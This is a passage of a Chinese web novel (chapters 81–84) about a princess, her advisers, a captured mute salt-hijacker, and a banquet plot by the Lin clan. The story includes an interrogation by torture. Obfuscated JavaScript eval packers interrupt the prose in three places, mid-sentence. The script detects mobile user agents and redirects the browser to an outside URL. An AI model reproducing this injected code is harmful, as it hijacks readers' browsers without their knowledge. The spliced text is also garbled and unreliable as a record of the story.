“抗个头。”贾文勰下意识低骂一声,愣是看呆了凌云,原来太守骂人是这个样子的,爱听、多骂......不是,凌云心道都怪关和整天念叨的什么乱七八糟没有营养的,全被带跑了。 “赶紧进屋暖和去。”贾文勰将人赶了进去,而后视线落在了前街。 视野之中,马车缓缓出现,为首的韩晟纵马奔来,翻身下马一连串动作十分顺滑,嘴里嘟囔着:“快快!晚宴可备 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荒谬的秦祉忍不住笑出了声:“别再往前跑了,这么远的距离郇稻不可能追上来,直接杀。” “就这么样,怕被埋伏嘛,愣是跑出了好几里路,才动的手。”韩晟说着,将酒杯放下,常舒了一口气,心满意足道,“如今沧州便是这么个情形,沧州牧估计最迟明年便要换人,汝则和端寿划分为阁主的势力,郁南以南柏萧鹤开始行动扩张了,至于劭关,兰干的李竹启蠢蠢欲动,她那边始终和柏萧鹤有着千丝万缕的联系。” “这么一算下来......”韩晟眉眼一挑,有点幸灾乐祸的意思,“眼下的敌人倒成了柏萧鹤了。” 虞仓寅抱着暖手炉,闻言接道:“是该警惕,我近些日子在郁南打听到了些事,柏萧鹤这人绝不止于郁南一郡而已,如今兵马囤积,等缓些日子,趁着入冬断了沧州各县的贮备,就又要开打了。” “何止沧州,如今苍生倒悬,各州混战,即便我们安于一隅,也避免不了别人对攻下梌州的野心,尤其此地乃是我燕国交通要地、四会五达。”贾文勰道,“北面潭州,东面晋州,都已按捺不住,有动作了。” 十分的不凑巧,晋赭恰好地处这二州之间。 “虽然主公如今乃梌州刺史,可刺史并无军权,一旦敌军来犯,若梌州牧和林、柳两家不支持,紧靠现有的兵马......一拳难敌四手啊。” 中原十姓家族之中,梌州便占据了两家,分别为统阳林氏和环琅柳氏,皆毗邻晋赭南面,这两大士族的地位自古便是高高在上,可谓叱咤梌州,权力极大,大到什么地步呢......他们从未将晋赭的小亲王看在眼里过,想到这,秦祉觉得有些头疼,情不自禁的抬手按住了脑袋。 她思忖几许,道:“你的意思是?” “在下的意思是,以攻为守,先发制人。” 81. 宴请 “咳咳......”几乎同一时间,咳嗽声响彻整个房间,当属韩晟最猖狂,他眼眸里止不住的笑意,连连摆手示意,“什么没听到啊阁主。” 虞仓寅也微微偏头咳了两声,似是被茶水呛了,只是等他转过头时……显然也是装的。 属实不是他们反应激烈,贾文勰这番话说的隐晦,但里外意思就那么回事,既然四面楚歌,梌州内里也是风波不断,他们晋赭搞点动作也属正常,但是这话总归不能说的太过于明显,传出去了显得他们不太地道。 “最不地道”的贾文勰动作一顿,旋即失笑:“真是瞎子带叆叇啊。” 一卷文书被书童呈至秦祉面前,只听他继续说,“下月中旬,统阳林氏家的长老六十大寿,请柬前几日便派人送来了,在下的意思是,既然人家诚心来请,不若主公去试探一二,也算是有个底。” “寿宴?”韩晟促狭道,“这倒是真意外,我还以为自多年前周氏寿宴结束后,这天下便再没人敢请殿下了……” 啊,周氏的寿宴…… 秦祉罕见的沉默了一下,那属于她年少轻狂时,干出的“惊天”大事,要不怎么说会和周令,尤其是周和相当不对付嘛。 她咳了一声,若无其事的岔开话题:“那就着手准备吧。” “还有一事。”贾文勰幽幽补充,又派童子呈上文书。 等等,又? 秦祉有种不好的预感。 只听他说:“晋赭运往梌州各地的官盐,陆运途中出事被劫,统阳林氏疑心晋赭有私吞嫌疑……” 一句一句,跟递进似的,晴天霹雳。 秦祉深深吸了一口气:“你应该……再没有文书了。” 半响,警惕道,“对吧?” ---- “这事说来也巧,是在晋赭和统阳交界地失踪的,顺着踪迹查下去,神不知鬼不觉消息突然就断了,在下怀疑此事林氏脱不了干系。” “那寿宴就是场鸿门宴了。”秦祉冷笑,说,“来了。” 眼前,林间小路豁然开朗,一行人拿着武器守在尽头,虎视眈眈地盯着他们。 见到人,秦祉反而愣了一下。 粗制麻葛并不贴身,甚至看上去脏兮兮的,似乎许久都不曾换过,秦祉顺着那些人的服饰看到五官,粗粝的皮肤和饱经风霜的双手,她下意识回头与贾文勰对视一眼,后者眼神中也闪过一丝迷茫。 这,是一群布衣。 站在最前面的是个少年人,霜色短甲下素封腰带,东拼西揍勉强衬了件披风,统阳入冬虽然冷意不深,但也绝不是此等裸露双臂腰腹之人可以承受的来的。 他脸色苍白,深情而无情的双眼一眨不眨地盯着对面,薄唇微抿,握着弓箭的指尖泛红。 “你们是何人?”贾文勰出声询问,“我们是负责晋赭往统阳官盐运输的官员,不管你们什么身份,现在让路都好说。” 少年闻言有了点反应,他微微偏头环视一周,手臂动了,弓箭缓缓搭起来,指向了秦祉。 “主公小心。” “无妨。”秦祉眼睛都不眨,丝毫没有受到威胁。 “看来是专门等着劫持官盐的。”马匹走了两步,贾文勰居高临下,“在下知道各位不是第一次在此,可若真是布衣百姓,有了难处只管同我们说,劫持官盐乃是死罪,何必如此想不开?” 对面不为所动。 “还是说......你们并非为了生存,而是有人派各位在此,只为切断官盐运输呢?” “嗖——”话音未落,箭羽已然离弦,直冲冲奔向贾文勰而去,只听“噌”一声,短兵相接,秦祉右手举剑,剑身稳稳挡在他面前,将那铁箭挥落,掀起一阵余风。 “没事吧?” 贾文勰心有余悸地退了两步:“主公,好剑法。” “没得谈。”韩阁冷硬道,他修长而有力的手指顺着刀柄活动了一下,又缓缓握紧,“杀吗?” 秦祉沉默了两秒,没回答,贾文勰了然,再度开口:“我不管命令你们的人给你们开了什么条件或是威胁,但只要你们现在放弃抵抗,便都有活路,我乃晋赭太守,贾氏现任家主,贾文勰贾言贺,你们是梌州人氏,不可能不知贾某代表的是何人,晋赭王是燕室宗亲、梌州刺史,有她允诺,在下必然一言既出驷马难追,若有不公,便替你们讨一个公道是非。” 太熟悉了,常年的默契让贾文勰比任何人都了解秦祉的想法。 有人神色有了些许变化,正想开口说些什么,却被旁边的人无声的拉住了,示意最前面那位少年。 动作幅度近乎没有,但若连这都发现不了,秦祉就真该让贤了,她看样子有些疲倦,不知是不是沧州之战尚未缓过来,回到晋赭后又为了官盐一事马不停蹄奔袭此地。 秦祉只抬手一挥,低声吩咐:“那少年是他们领头人,有些身手,其余都是百姓,没了此人自然就是一盘散沙,活捉他,韩阁。”说完,人就懒洋洋地撤到了后方。 韩阁打仗杀人的手法与他人都有些差别,一招一式直抵要害,讲究“快狠准”,人随刀动、刀跟风行,像利刃出鞘、如风残影。 “唔!”那少年持的弓箭,不擅近战,赫然被韩阁杀入身侧,显然一惊,连忙闪身避开,但韩阁如鬼魅般缠了上去,根本不可能轻易甩掉。 少年当即从腰间抽出匕首,却不料韩阁翻身一踢,将那匕首重新插回刀鞘,匣光宝刀节节逼退,剑拔弩张中,少年突然暴起,顶着刀刃袭来,宝刀刺入肩臂,鲜血殷透霜色衣料,霎时间如滴落盛开的水墨花。 只是没有受到任何影响,韩阁偏身松手,顺刀势走向调转,控住了少年:“别动。” “呃!”少年漂亮的脖颈被牢牢锁住,窒息的感觉让他忍不住挣扎起来,下一刻,“唔!” 他忍者伤势的疼痛手肘往后狠命一撞,从韩阁手中逃了出去,后者眼眸一暗,若非此人冻的肢体有些僵硬,身手的确不俗,亦有无畏生死之勇。 “啊,雒......”有人见状吓得险些叫了出声,秦祉闻言挑眉:“雒?统阳林氏麾下可有姓雒的武将?” 贾文勰思忖几许, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388855|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头道:“不曾听过,或是没什么名气,或是用了假名。” 天寒地冻,那一刀刺得够深,少年悠悠晃晃,一下单膝磕在地上,捂住左肩,脸色更白了。 马蹄踏地发出缓慢的声响,秦祉垂眸看他,微微歪头:“何必如此执着,非要等酷吏来见你,你才会开口不成?” 少年身形显得有些羸弱,他微微颤抖,没有吭声。 只是秦祉不急于一时,像是慢慢磨着他的性子,即便此人硬气,但显然他身后这群人并非多靠得住的人啊。 她微微一笑,但是在这群人看里看来,多少有些笑里藏刀,慎得慌。 “最近钟怀好像没什么事干,手痒得很。”秦祉慢条斯理道,“眼下正好带回去,也不必急,慢慢来嘛,几天一人,也足够支撑着他到明年春天。” 众人听着不明觉厉,互相看了两眼,满眼莫名。 “啊,各位或许不知这钟怀是谁。”贾文勰笑眯眯的补充道,“他啊,是晋赭酷吏,嘶……对了,需要本官为你们解释一下,酷吏是做什么的吗?” 在一众鸦雀无声中,他继续道:“这个官职虽然偶有滥杀无辜,但大体还是合乎燕国律法的,只是为了犯人能够开口说实话,进行的刑法稍微有些残酷,害,无所不用其极嘛……” “就像是居川校尉一样,如今在常胜将军柏萧鹤手下的居川校尉,曾经也不慎经手钟怀,那叫一个惨啊,浑身上下找不出一块好地儿,险些丧命。” “只是各位也不用惊慌,钟怀的本事还是在的,那个度掌握的刚好,叫你们求生不能……”他一字一顿道,“求死、不得。” 贾文勰收敛笑意,下令:“带队,回晋赭。” ---- “真抓到了?”司昀几步跨进内廊,被关和一巴掌挥了出去,“哎?你干嘛!” “你说干什么,卸甲脱鞋。”关和抱臂看着他,“朔昭阁这样也就算了,这是王府,让礼官瞧见了准要念叨。” 一听礼官,司昀身子马上倒退三米:“他人在里面?” 关和理不直气也壮:“没有。” 这俩人打闹惯了,只不过数次交锋关和毫无败绩就是了,司昀欲言又止,欲言……算了,他愤愤换上了木屐,将轻甲长剑放在了外廊。 屋内,张舒将沾着血的纱布整理好后,这才回身:“刀口不重,但伤很多。” “前胸,后背,都有。” “新伤?” “新旧交织。” 贾文勰颔首:“多谢张医师。” “嗯。”张舒一点不客气,接下了道谢后又带着谴责的目光看向韩阁,“要救,就不要砍伤。” 韩阁张了张嘴,觉得没什么可说的,又闭上了。 好像两个“哑巴”的巅峰对决。 “那么请问他大概什么时候会醒呢?”贾文勰无奈的打断了二人大眼瞪小眼的对视,给这间里屋增添了些许人气。 “不出一个时辰。” 又陷入诡异的沉默了…… 贾文勰受不了了:“我先走了。” 82. 玩伴 只是令所有人不曾想过的是,等到那少年清醒的时候,屋内的“哑巴”从两个上升到了三个。 秦祉抿着唇,半响无言。 “他不会说话?” 张舒搭上脉搏,半天后蹙眉:“其他原因,脉搏看不出。” 他手刚撤开,少年连忙缩了回去,琥珀色的瞳孔闪着金色细碎的光,警惕的望着众人。 “这可就有些难办了主公。”贾文勰声音不疾不徐的传来,“别说他是哑巴,就算不是,也未必套的出他们一行人的目的和背后主使,如今不能说话,简直火上浇油啊…” 秦祉视线淡淡落到那少年脸上,而后像是灵光一闪般地,瞧着张舒:“你......” “不行。” “本王还没说是什么呢。” 张舒:“什么都不行,没有药,能说话。” “可惜了,医术不精,你再练练。”成功将张舒气跑了,秦祉无声笑说,“这人单独关着,他既然说不出什么,便从那些手下开始,让钟怀去试试。” “我?”钟怀大剌剌地趺坐,愣是被司昀从席垫扯起来,明朗阳光的五官绝对让人无法将那个手段狠毒阴辣的酷吏联系到一起,“那可十好几号人呢,阁主真是怕我闲下来白拿俸禄啊。” “未必有那么难办,阁主说了,这群人八成知道的东西不多,能吐出多少算多少就是了,最主要的还是那个哑巴,就是不知这人骨头有多硬。” “哑巴?”钟怀挑眉,“你管这叫不难办?” 司昀一摊手:“总归又不是我去办。” 话音未落钟怀就飞起一脚,直奔着对方屁股踹了过去。 地牢狭道直通地底,幽深寂寥中凌空响起一道喊声,伴随着“噔噔噔”的脚步声,瞬间将所有人的心提到了嗓子眼。 是谁来了? “哎呦卧槽,钟怀你个王八蛋!”司昀低骂了一声,拍了拍身上的灰后,伺机躲在钟怀身后寻找报复的机会,可惜钟怀防他跟防狼似的,简直无死角戒备,直到走到牢狱前,二人这才正色起来。 “随便拉一个出来?”司昀微微歪头询问。 钟怀已经收敛了那副吊儿郎当的气质,面无表情的站在黑暗中,犹如捕猎的恶兽,等待进攻的时机。 地牢之中,三五成群的人缩成一团,表情无不惶恐,钟怀顺着一张张脸看去,一言不发,最后抬手一点,像是下了最后通牒般,宣告了此人的命运。 其实是在观察,观察出最害怕、最容易被策反的那个人。 “你,出来。” “不不、不——”锁链哗啦啦发出声响,伴随他尖叫哀鸣,好似穿透天际,司昀忍不住捂着耳朵退了半步,“这还没动手呢,怎么跟杀猪一样?” 钟怀瞥他一眼:“听不下去就上门口待着。” “得,那你抓紧时间吧。” 守卫从众人眼前将人一路拖到了戒律房,用镣铐刑具吊了起来,面前墙壁上污血干涸,满满挂着各式刑具,散发寒光。 钟怀缓慢逼近对方的脸,冰凉的指尖轻轻一抬,将那人的下巴强行扬起:“害怕?” 那人瑟缩着,疯狂摇头:“不……” “我教你个法子。”他眉眼弯弯,但眸光冷涩,叫人不寒而栗,“把你知道的都说出来,就不必受这皮肉之苦。” “不、不要,饶了我吧,我就是个普通百姓,我什么都不知道啊!” 钟怀轻轻拍着他的肩,说:“不知道,也没关系。” 半刻钟后,声嘶力竭的喊声越发微弱,渐渐没了动静,地牢门向里被拉开,钟怀慢悠悠走了出来,伸了个懒腰,点点血迹沾染衣摆,但神色却十分平静。 “禀报阁主吧,此人名为雒溪。” ---- “雒溪?” “是,那群人说,这半年郇稻为了控制南面生意往来通路,在交州连夺六县,导致战火波及梌州,百姓为活命一路南上才躲到了统阳。”钟怀叉手行礼禀报,“但统阳虽富足,可士族哪里是什么喜欢乐于助人的……” 贾文勰和虞仓寅同时抬眼。 钟怀一顿,神色如常的一转口风:“比不得阁主身边,因而即便没了战乱的侵袭,可饥饿却始终得不到解决。” “直至半月前,他们遇到一人施以援手,但对方声称有事相求,并允诺事成之后会给他们不少钱粮。” “这事儿便是截取官盐?” “正是,那人只说让他们跟随这位雒溪行动,而后便彻底消失。”钟怀说,“阁主,可要审讯雒溪?” “不。”秦祉摇头,“那多没意思。” “你看,我就说吧。”韩晟低声笑说,“朔昭阁不正经不是没有原因的,这典型的上梁不正下梁歪啊。” “主公的意思是?”贾文勰觉得有些不妙,这份不妙的心情对准的,不是在座的哪一位,而是远在统阳,即将要过寿宴,不知哪个林氏的倒霉蛋。 “既然这位雒溪被派来夺取官盐,又有诸多百姓为证,自然他指谁谁就是幕后主使。”秦祉一双笑眼中满是算计,“要是身上有刑伤,反倒叫人说是严刑逼供,屈打成招了。” 这一次应邀,简直可以说是各怀鬼胎,没有一个人的目的是单为了过寿的,马车缓缓驶过统阳城门时,雒溪明显有了些许反应,呼吸在不知不觉间,急促了。 要说之前周氏寿宴纯属意外,这一回,就是奔着捣乱去的。 “我说阁主,虽说他不能说话,但也不是能任咱们胡说的主吧?”韩晟单手撑着脑袋,靠在马车上一晃一晃,“一会儿真被林氏质疑,能行吗?” 半月时间,秦祉已然恢复了精力,此刻神色极好,有一搭没一搭的拂着茶沫:“那就要看你们两个的发挥了。” 整个朔昭阁最擅言语的两个人互相对视,同时一伸手:“请。” 统阳林氏的嫡长公子林百毓同樵阳周氏有些交情,而林氏也正是当年陆赟在都邑潜伏的士族,据说这位长公子为人不太正常,至于具体是怎么个情况,陆赟皱着眉头憋了半天,最后还是一句“我是真形容不出来,反正看着挺正常的,但是有时候就很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422859|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫名其妙,总归要和他接触你们得小心些......” 统阳城内一片太平景象,往来行人络绎不绝,好不热闹,林府正门,自有两排小厮俯身迎接,为首之人乃是林氏族子,笑意盈盈:“晋赭王殿下,久仰。” 秦祉只是轻微瞥了一眼,十分淡漠地颔首,反倒是韩晟笑着拍了拍对方的肩道:“除了我们可还有谁到了?” 那族子狐疑地看了他一眼,回道:“因着梌州牧要事,梌州六郡太守皆来了,不知您是......?” “来了就好。”韩晟眯起眼睛,冲对方呲牙一笑,而后大步赶了上去,“阁主,戏台子和看客可都来齐了。” 梌州内共六郡,晋赭、伏宁、统阳、环琅、胤城、锦阳,六位太守之中,除去贾文勰外,便唯有伏宁太守葛辞恙与秦祉可谓是肝胆相照。 原因嘛,自然是因为葛向北的关系,葛家与秦家是世交,秦祉也正是跟着葛辞恙才叫一声“子赢叔”,至于当年都邑城带着秦祉上天入地的,若只有秦赜一人的话,大概早就被周和一干人围了一顿暴揍。 这份功劳是自恋又臭屁的葛辞恙自己安给自己的,除了他之外,秦赜和秦祉都死不承认。 “啪嗒”,微乎其微的石子落地发出丁点声响,夺去了秦祉的注意,她回头的瞬间,一只胳膊直接搭在肩头,将半边重量压了过来,“呦小......” 这人说话一顿,偷偷摸摸地压低声音问:“嘶...我现在应该叫你什么?” 秦祉只微微偏头,一张和葛向北有几分相似的脸挂着笑意出现在眼前,多年不见,太守的官职也没能让此人稳妥下来,仍然一副混不吝的模样,偏生了一双诱人的狐狸眼,更显得不靠谱了! “葛辞恙?”秦祉叫了一声。 “嗯,怎么样?”这人还跟小时候一样,揽着人便往庭院走,丝毫不避讳,“听说你哥他老人家还活着,见到了吗,怎么没和你一起回梌州,好歹咱们也算有个伴。” 秦祉抬手将人从肩膀上挥落,顶着对方诧异的目光正色道:“葛太守,请自重。” “我艹?”葛辞恙气笑了,“小没良心的你装不认识你哥我呢?” 秦祉仿佛看傻子般的眼神,抱有一丝同情心瞧着他,而后无奈地叹气摇头往他身后一扫,示意。 葛辞恙身形一顿,缓缓回身,只见身后林氏的人早已等候多时,见到此景无不投来诧异的目光。 秦祉扶额心道:完蛋了。 林氏颇为尴尬地咳了一声,深深揖礼道:“家主已在厅内等候,诸位,请。” 他身后,隐隐约约的交谈声顺门缝传出:“......这谁说不是呢,可总要拿出证据才是,如若不然,反倒要让晋赭王解释明白?” “难道不应该由他去解释吗?”又一道苍老的声音传来,“他们晋赭负责的官盐出了问题,不找他找谁啊。” “自当是均输令【1】啊。”贾文勰含笑接道,顿时屋内没了声响,几人推门而入,他侧身一让,身后秦祉长身玉立,逐渐现身于视野之中。 83. 寿宴 果然是统阳林氏的作风,秦祉不动声色的和主位上那人对视,对方身形稳如泰山,没有半分起身的意思,只若有似无打量着眼前年纪不大的小亲王,视线中藏不住的傲气看的秦祉微微有些怒意。 林百毓的眼睛如墨一般黑,被盯久了的人只会觉得浑身发毛,诡异的气息流转二人,但秦祉无动于衷,好似全不在意。 先皇楚珩当年被朝廷其他势力气的掀翻木案,一通发火后想要杀人时的目光秦祉都能十分平静的承受下来,她早就过了既然对方想瞪,那就挖了眼珠子让他瞪个没完的时候了。 “晋赭王。”林百毓这才缓缓起身,做了个样子道,“请。” 直到秦祉落座,韩晟才挡着唇开口:“下马威啊这是。” “等着看,不止呢。”秦祉冷笑。 “才刚听晋赭太守的意思,官盐失踪一事便全部推给了均输令和均输官了?” 贾文勰抬眼笑着反问:“这怎么能用到推这个字眼呢?运输管理官盐的,自始至终都是大司农和他的属官,即便你们统阳官盐失踪,也断没有轮到你们来向主公讨说法的道理。” “话是这么说,可谁人不知晋赭北靠沄江,拥有梌州最大的盐场,如今乱世当道,别说一小小的均输令,就是大司农亲自来了,你兵权在握,谁敢耐你何?”林氏长老反驳道。 “这话听着奇怪,原来你们林氏请我们,倒不是为了寿宴,而是来兴师问罪的啊!”贾文勰语气不易察觉的加重,多了几分气势。 韩晟配合着双手抱了抱自己:“不是吧,哎呀这可真是王公贵胄,我们晋赭巴掌大点地方的人,让人冤枉着一棍子闷死也是无能为力,殿下,我好害怕啊......” “什么冤枉,简直一派胡言!”长老蹙眉呵斥,“我什么时候说过要......” 韩晟上半身微微后仰,佯装一副害怕的模样,眉毛似蹙非蹙:“不然呢?殿下是晋赭亲王,当今天子的皇表兄,你们满座皆是燕室群臣,却无一人行大礼迎之,入门至今连口茶都没有,怠慢到这个地步,且不说还连连逼问,我倒是不知,如今天下......” 他压低声音,一字一顿地威胁:“改姓林了吗?” 此话一出,满堂哗然,却无人再敢搭话,生怕着莫名其妙的火势烧到自己身上。 半响,三声清脆的鼓掌声打破了剑拔弩张的气氛,林百毓朗声笑道:“这位兄台属实玩笑话,天下自然永远姓楚。” “如今即将入冬,在座诸位也只是担心存盐,稍有些关心过度,言辞多有冒犯之处,倒也算不上什么大错,三位大可不必计较。” “快叫人上茶果糕点来。”林百毓吩咐道,行为举止颇具文雅,只是外表装的,眼神却藏不住,“此次确是因寿宴一事,才请诸位到此一聚,至于公事,寿宴过后再谈也不迟。” 这事颇有些“雷声大雨点小”的意思,两面都没说上几句,便叫林百毓三言两语敷衍过去了,只是越是如此,秦祉就越觉得奇怪。 “这么说来,他的目的就未必只是官盐一事。”贾文勰说,“今日和寿宴之后有何不同,他却偏生要推迟,莫非是雒溪被抓一事,统阳林氏的人得到了风声?” 秦祉思索着摇头:“不,雒溪足有半月前落到我们手中,这段时间等的就是他们行动,稍有风吹草动便能顺杆抓住,但却始终没有任何消息,眼下我们既已到此,此时再有动作未免太过愚蠢,林百毓还不至于把证据免费呈到我们眼前来。” “那就有些难办了。”贾文勰微微叹气,“林百毓这人捉摸不透啊......只能靠主公的后手准备了。” 秦祉笑说:“希望这个后手能靠点谱。” “扑通。” 一颗果子被投掷到秦祉面前的木案,顺着力道滚出好几圈,最后停了下来,葛辞恙勾着房梁倒立着,冲着三人打了声招呼,然后核心用力一收,翻身而下,稳稳踩在地面。 “你的出场方式一定要与众不同一些吗?”秦祉单手扒拉着果子,歪头看他。 “独特嘛,符合我的为人准则。”后者展颜一笑,抱拳道:“二位好。” “咱们认识。”他看着韩晟说道,然后又将目光转向贾文勰,“你......” “也认识。”贾文勰颔首,“有过一面之缘。” “哦对对对。”葛辞恙随意地找了个席垫坐下,“我记得是......樵阳休战盟约之前,梌州士族要拥立她为天子的时候吧,害,那回没坐多一会儿就打起来了,甚至都没说上话......” 葛辞恙的声音还环绕在房屋之中,但秦祉却倏地好似想到了什么,她打断道:“当时林百毓在哪?” “啊,什么?”葛辞恙一愣,“你问要拥立你的那次?” 贾文勰眸光一暗:“当时林百毓在都邑,所以当日一事主持大局之人是......林氏的长老,林全甄。” 秦祉深吸一口气:“那寿宴是为林氏哪位长老操办的?” 韩晟也是眼前一黑:“林全甄。” …… “你是说,林百毓筹谋这次寿宴的目的,是想立你为天子啊!”葛辞恙的一声惊呼还没完全出口,便被秦祉一巴掌堵回了嘴里,“你怎么不干脆绕着统阳挨家挨户敲门喊呢。” “要你有真成那天,不止梌州,全天下的家门我都替你敲个遍。”葛辞恙轻哼着,挑眉示意,“有意思啊,这可真是太有意思了,所以呢,既然知道对方目的,你们可有何打算?” “要我估摸着,林百毓是要往外打。”他身子一歪,仰躺在竹席上,“但又总要找个由头借口,师出有名嘛。” “那就……给他这个机会。” “嗯?”葛辞恙腾地坐起身,眼前一亮,“你要做什么?” 秦祉狡黠一笑:“需要你帮点小忙。” ---- 丝竹之音自廊下回转,慢慢扩散远方,庭宴内,众宾客互相阿谀奉承,言语间好似刀光剑影不知几个来回,最终化为一杯浊酒,吞下肚中。 “我倒是不曾想过晋赭王会如此给足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林全甄闻言大笑两声:“原本今日寿宴,本不想多聊别的,但既然殿下都这么说了,诸位在此也算做个见证。” “如今阮义虽死一年有余,可天下纷争不断,战火滔天甚不可同日而语,苍生倒悬、生灵涂炭,天子被徐行挟持身不由已、大权旁落非燕室所控,中原九州近百郡皆穷兵黩武、战火一路波及各县......” “梌州如今四面楚歌,岂能随意任人宰割。”说到此处,林全甄坦然地看向秦祉,“两年前我们没有达成的一致,不知今日殿下的答案会不会有所不同?” 下一刻,林氏府兵已经悄然现身,刀剑相向,无声无息将此地围困。 “林全甄!你疯了不成,在座身份有哪个是可如此无礼对待的,还不让他们将刀剑都撤下去!” 林全甄只当没听见这群人的怒气,视线偏移,看向了身侧的林百毓,后者温和一笑,这才终于开了口:“诸位,冷静。” “叔父没有别的意思,只是挽救乱世之心急切,不忍百姓受苦罢了。” “这话说的未免就有些冠冕堂皇了。”贾文勰垂眸看着木案前幽幽火光,“见不得百姓受苦?那交州的流民怎么还派到晋赭那去夺取官盐了呢,这不是将百姓......往火坑里推呢吗?” 84. 幕后 “什么,各郡官盐是你们林氏派人劫走的?”锦阳太守惊诧道。 林百毓表情微微有些惊讶:“官盐失踪一事本就是林氏发现,我们如何自导自演,未免落人口舌,林氏还不屑于做此等卑劣之事。” 嘶...... 秦祉看着看着,总觉得哪里有些眼熟,怪不得陆赟说他奇怪,惯会装模作样,阴险显赫版统阳“楚湛”嘛这不是。 “这么说来,雒溪这人,林氏是不认识的了?”贾文勰打了个响指,门外应声压进来一位清俊少年,被人按到了地上,挣扎几下便没了动静。 林百毓神色不变,只略微垂眸望着那少年,半响似乎找回了点记忆:“啊,是他啊。” 承认了? 秦祉和贾文勰不易察觉的一顿,始料未及,林百毓竟然没有否认认识这名少年! “他叫什么?雒…溪?”林百毓笑了笑,“哪两个字来着,算了,不重要。” 漫不经心中嗓音清冽温润,可话锋却徒然一转:“好像是之前随手救下的一个孩子,不成想手脚竟然如此不干不净,还敢对官盐起了歪心思,既如此便没必要留着了。” “当时和他一起的还有......他母亲吧?”林百毓轻声说着,摆了摆手,“来人,拖下去吧。” 官盐一事,是个引子。 是让秦祉放松警惕的引子,林百毓的确做到了,在葛辞恙那番话之前,他们的确没有想到林氏竟然还对立天子一事念念不忘。 所以即便雒溪被抓,林百毓也并不在意,因为从始至终,他的目标都不在官盐追责一事,他只想晋赭王能踏足他统阳林氏的地盘,便足矣。 至于官盐? 替罪羊有了,谁还在意借口够不够真呢。 “唔!”雒溪没有想过,这个说好的不一样! 林百毓答应他,事成之后会给他一笔钱,让他和母亲离开的!骗子,他是个骗子! 雒溪眼眶通红一片,在两个侍卫的拉扯下挣扎着死命瞪着林百毓,而后者却如同看戏一般,没什么多大的起伏。 前后十几秒的功夫,雒溪便被扯了下去,屋内恢复了平静,好像刚刚什么都不曾发生。 秦祉偏头看了一眼,韩晟会意,悄然从后方离开了席间。 “这回可以说正事了吗,殿下?” “要是钟怀知道自己白浪费精力去审讯,估计得气的跳起三尺高。”秦祉单手撑着脑袋直接无视了林百毓的话。 贾文勰闻言接道:“但司昀就会高兴了,到时候两个人一闹,朔昭阁又没个安生日子,张舒受不了会下药,关和也是看热闹不嫌事大的主儿......” “挺好的。”秦祉轻声说,“这样也挺好的。” 她故意学着林百毓的样子,闲话说够了,半响才直起身子:“本王以为,官盐一事解决,寿礼也送到了,其余杂事都与本王无关,恕不奉陪。” “站住。” 木案赫然被掀翻,“哐当”一声震天动地,林百毓漆黑如墨的双眸牢牢锁定在秦祉脸上,平静的让人不寒而栗,眸底近乎是警告:“殿下,正事未谈,你要去哪?” 秦祉脚步一顿。 “刚刚出去的那位叫......韩晟吧?”林百毓思考了两秒,说,“殿下将身边唯一一位武将派出去,可不是明智的抉择。” “不过没关系。”他复而笑道,“从今以后,我会保护好殿下的。” 有点变态啊…… “这种视线,在下上次还是在司昀眼中见过。” “看的什么?” “烧鸡。” 秦祉:“……” 贾文勰笑了一下,后退半步。 他还提前防备上了。 秦祉轻叹一声,露出笑意:“你都唤我一声殿下了,怎么就不能明白?” “本王莫非是什么朝不保夕、手无寸铁的傀儡王殿下吗?” 此话一出,林全甄脸色一变:“你说什么?” 一柄长剑霎时出鞘,争鸣声倏地破空,行云流水、步步生花,短短数十秒,将林氏府兵手中的武器全部挑落。 而后手指一勾,剑柄绕掌心调转,稳稳贴于手臂,身姿挺拔,丰神俊朗,此人站在秦祉身前,声音爽朗,气质洒脱:“哎呀,好歹都是有身份的人,何必打打杀杀呢?” 府兵:你先把剑放下还能有点说服力…… “呵,我记得你爹是光禄勋【1】吧?”林百毓笑了,“不知你可听说过何为山高皇帝远,这是梌州统阳郡,而我,是统阳太守,林氏的嫡长公子,任凭你们在外如何呼风唤雨,在这里都没有用,省省吧。” “他让你省省。”秦祉笑着碰了碰葛辞恙,后者一歪脑袋,垂眸看她,“那要省省吗?” “当、然、不。” 下一秒,剑身一挑烛台,酒盏泼向帷幔,火光一飞顷刻间窜起烈焰,帷幔缠绕剑身,葛辞恙身形一转,衣摆发丝纷飞间,将数人逼退。 秦祉从剑璏抽出环首刀,一把将贾文勰按到身后,抵住剑光:“去和韩晟汇合!” 火势在乱斗之中无形地增大了,硝烟滚滚蔓向天际,一手扯着雒溪,一手拽着他母亲的韩晟愣了两秒,顿时倒吸一口凉气:“不是吧,又来?” 他们家殿下是不是有什么搅和人家寿宴的癖好啊! “听着,林氏要灭口,你和你母亲都活不下去,但晋赭王不同,我们家殿下人美心善,最喜欢救人于水火之中不求回报了。”韩晟开始说谎不打草稿,“比如你看,我这不就是奉她的命来救你们母子二人吗,我能带你们出去,但是你不能什么都不做对不对?” 他又开始晓之以情,动之以理:“别的交换也不需要,你只要告诉我……” 